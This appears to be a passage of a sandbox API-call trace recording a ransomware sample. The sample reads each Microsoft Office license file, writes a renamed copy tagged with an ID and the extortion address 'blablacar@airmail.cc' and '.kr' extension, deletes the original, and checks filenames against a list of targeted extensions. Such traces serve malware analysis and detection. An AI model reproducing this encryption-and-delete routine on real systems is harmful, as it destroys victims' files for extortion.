returned 76 [0199.647] lstrlenW (lpString=".dbf") returned 4 [0199.647] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.647] lstrlenW (lpString=".1cd") returned 4 [0199.647] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.647] lstrlenW (lpString=".jpg") returned 4 [0199.647] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.647] lstrlenW (lpString="MondoR_KMS_Automation-ul-oob.xrm-ms") returned 35 [0199.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.648] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11621) returned 1 [0199.648] CloseHandle (hObject=0x548) returned 1 [0199.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220 [0199.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.649] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.649] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0199.650] GetLastError () returned 0x0 [0199.650] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0199.652] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0199.653] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.653] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11a, lpOverlapped=0x0) returned 1 [0199.653] SetEndOfFile (hFile=0x3f8) returned 1 [0199.654] CloseHandle (hObject=0x3f8) returned 1 [0199.654] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.654] SetEndOfFile (hFile=0x548) returned 1 [0199.657] CloseHandle (hObject=0x548) returned 1 [0199.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1 [0199.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.658] lstrlenW (lpString=".doc") returned 4 [0199.659] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.659] lstrlenW (lpString=".docx") returned 5 [0199.659] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.659] lstrlenW (lpString=".pdf") returned 4 [0199.659] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.659] lstrlenW (lpString=".xls") returned 4 [0199.659] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.659] lstrlenW (lpString=".xlsx") returned 5 [0199.659] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.659] lstrlenW (lpString=".ppt") returned 4 [0199.659] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.659] lstrlenW (lpString=".zip") returned 4 [0199.659] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.659] lstrlenW (lpString=".rar") returned 4 [0199.660] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString=".bz2") returned 4 [0199.660] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString=".7z") returned 3 [0199.660] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.660] lstrlenW (lpString=".dbf") returned 4 [0199.660] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.660] lstrlenW (lpString=".1cd") returned 4 [0199.660] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.660] lstrlenW (lpString=".jpg") returned 4 [0199.660] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.660] lstrlenW (lpString=".doc") returned 4 [0199.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString=".docx") returned 5 [0199.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.660] lstrlenW (lpString=".pdf") returned 4 [0199.660] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString=".xls") returned 4 [0199.660] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString=".xlsx") returned 5 [0199.660] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.660] lstrlenW (lpString=".ppt") returned 4 [0199.660] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.661] lstrlenW (lpString=".zip") returned 4 [0199.661] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.661] lstrlenW (lpString=".rar") returned 4 [0199.661] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.661] lstrlenW (lpString=".bz2") returned 4 [0199.661] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.661] lstrlenW (lpString=".7z") returned 3 [0199.661] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.661] lstrlenW (lpString=".dbf") returned 4 [0199.661] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.661] lstrlenW (lpString=".1cd") returned 4 [0199.661] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0199.661] lstrlenW (lpString=".jpg") returned 4 [0199.661] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.661] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.661] lstrlenW (lpString="MondoR_KMS_Automation-ul.xrm-ms") returned 31 [0199.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.662] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9613) returned 1 [0199.662] CloseHandle (hObject=0x548) returned 1 [0199.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220 [0199.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.663] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.663] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0199.664] GetLastError () returned 0x0 [0199.664] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x258d, lpOverlapped=0x0) returned 1 [0199.666] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2590, lpOverlapped=0x0) returned 1 [0199.667] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.667] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0199.667] SetEndOfFile (hFile=0x3f8) returned 1 [0199.668] CloseHandle (hObject=0x3f8) returned 1 [0199.668] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.668] SetEndOfFile (hFile=0x548) returned 1 [0199.881] CloseHandle (hObject=0x548) returned 1 [0199.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1 [0199.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.882] lstrlenW (lpString=".doc") returned 4 [0199.882] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.882] lstrlenW (lpString=".docx") returned 5 [0199.882] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.882] lstrlenW (lpString=".pdf") returned 4 [0199.882] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.882] lstrlenW (lpString=".xls") returned 4 [0199.882] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.882] lstrlenW (lpString=".xlsx") returned 5 [0199.882] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.882] lstrlenW (lpString=".ppt") returned 4 [0199.882] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.882] lstrlenW (lpString=".zip") returned 4 [0199.883] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString=".rar") returned 4 [0199.883] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString=".bz2") returned 4 [0199.883] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString=".7z") returned 3 [0199.883] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.883] lstrlenW (lpString=".dbf") returned 4 [0199.883] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.883] lstrlenW (lpString=".1cd") returned 4 [0199.883] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.883] lstrlenW (lpString=".jpg") returned 4 [0199.883] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.883] lstrlenW (lpString=".doc") returned 4 [0199.883] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString=".docx") returned 5 [0199.883] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.883] lstrlenW (lpString=".pdf") returned 4 [0199.883] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString=".xls") returned 4 [0199.883] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.883] lstrlenW (lpString=".xlsx") returned 5 [0199.883] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.883] lstrlenW (lpString=".ppt") returned 4 [0199.884] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.884] lstrlenW (lpString=".zip") returned 4 [0199.884] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.884] lstrlenW (lpString=".rar") returned 4 [0199.884] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.884] lstrlenW (lpString=".bz2") returned 4 [0199.884] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.884] lstrlenW (lpString=".7z") returned 3 [0199.884] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.884] lstrlenW (lpString=".dbf") returned 4 [0199.884] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.884] lstrlenW (lpString=".1cd") returned 4 [0199.884] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0199.884] lstrlenW (lpString=".jpg") returned 4 [0199.884] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.884] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.884] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24 [0199.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.885] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=26462) returned 1 [0199.885] CloseHandle (hObject=0x548) returned 1 [0199.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220 [0199.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.886] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.886] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0199.887] GetLastError () returned 0x0 [0199.887] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x675e, lpOverlapped=0x0) returned 1 [0199.890] WriteFile (in: hFile=0x554, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x6760, lpOverlapped=0x0) returned 1 [0199.892] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.892] WriteFile (in: hFile=0x554, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x104, lpOverlapped=0x0) returned 1 [0199.892] SetEndOfFile (hFile=0x554) returned 1 [0199.892] CloseHandle (hObject=0x554) returned 1 [0199.892] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.892] SetEndOfFile (hFile=0x548) returned 1 [0199.900] CloseHandle (hObject=0x548) returned 1 [0199.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1 [0199.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.902] lstrlenW (lpString=".doc") returned 4 [0199.902] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.902] lstrlenW (lpString=".docx") returned 5 [0199.902] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.902] lstrlenW (lpString=".pdf") returned 4 [0199.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.902] lstrlenW (lpString=".xls") returned 4 [0199.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.902] lstrlenW (lpString=".xlsx") returned 5 [0199.902] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.902] lstrlenW (lpString=".ppt") returned 4 [0199.902] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.902] lstrlenW (lpString=".zip") returned 4 [0199.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString=".rar") returned 4 [0199.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString=".bz2") returned 4 [0199.903] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString=".7z") returned 3 [0199.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.903] lstrlenW (lpString=".dbf") returned 4 [0199.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.903] lstrlenW (lpString=".1cd") returned 4 [0199.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.903] lstrlenW (lpString=".jpg") returned 4 [0199.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.903] lstrlenW (lpString=".doc") returned 4 [0199.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString=".docx") returned 5 [0199.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.903] lstrlenW (lpString=".pdf") returned 4 [0199.903] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString=".xls") returned 4 [0199.903] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.903] lstrlenW (lpString=".xlsx") returned 5 [0199.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.903] lstrlenW (lpString=".ppt") returned 4 [0199.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74 [0199.904] lstrlenW (lpString=".zip") returned 4 [0199.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.904] lstrlenW (lpString=".rar") returned 4 [0199.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.904] lstrlenW (lpString=".bz2") returned 4 [0199.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 